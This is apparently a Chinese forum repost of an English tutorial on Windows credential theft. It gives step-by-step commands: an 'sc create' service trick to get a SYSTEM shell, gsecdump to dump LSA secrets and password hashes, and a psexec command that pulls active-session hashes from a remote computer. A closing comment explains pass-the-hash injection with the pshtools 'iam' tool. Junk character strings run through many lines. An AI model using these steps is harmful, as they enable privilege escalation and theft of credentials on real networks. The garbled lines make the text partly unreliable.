HASH注入式攻击

admin

o get a DOS Prompt as NT system:

C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
% Z, G: a: p: G5 i1 s[SC] CreateService SUCCESS

8 b+ n, Q( h. B5 z2 aC:\>sc start shellcmdline
/ O- L+ I2 v; N- @+ m, I- G[SC] StartService FAILED 1053:
) ~# M4 T; S2 h+ S: @4 \, p' S" a  s( }
The service did not respond to the start or control request in a timely fashion.
- B# E$ L/ k4 p
C:\>sc delete shellcmdline
9 L0 v& J7 ~- H! q5 \! j[SC] DeleteService SUCCESS
/ J) C1 |% V0 A
------------
6 X5 Z5 Q. H' s/ q+ [
Then in the new DOS window:

* r2 b- ~, Z& u/ Y' V) ZMicrosoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

6 a' e9 O4 e% Y* Y6 q) o& iC:\WINDOWS\system32>whoami
NT AUTHORITY\SYSTEM

3 V# ~9 U' x  c2 v* J/ H1 NC:\WINDOWS\system32>gsecdump -h
7 a( }5 i7 O) G& H* @: wgsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
usage: gsecdump [options]

options:
-h [ --help ] show help
1 ^0 C# D+ [1 q  n+ N2 W! w-a [ --dump_all ] dump all secrets
-l [ --dump_lsa ] dump lsa secrets
-w [ --dump_wireless ] dump microsoft wireless connections
-u [ --dump_usedhashes ] dump hashes from active logon sessions
-s [ --dump_hashes ] dump hashes from SAM/AD

5 c; Z! Q8 A1 j% i" sAlthough I like to use:

PsExec v1.83 - Execute processes remotely
. [& f/ p: \+ h( g3 F0 A6 U; D; ZCopyright (C) 2001-2007 Mark Russinovich
Sysinternals - 链接标记[url]www.sysinternals.com[/url]

C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT

to get the hashes from active logon sessions of a remote system.

These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.

$ [2 l" p% f. K( x8 P2 g( z提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
8 X: y! ~/ m. o* F( t) X原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
& G; e. X4 o8 S" `
, x. P3 V/ _0 R0 j1 ~我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。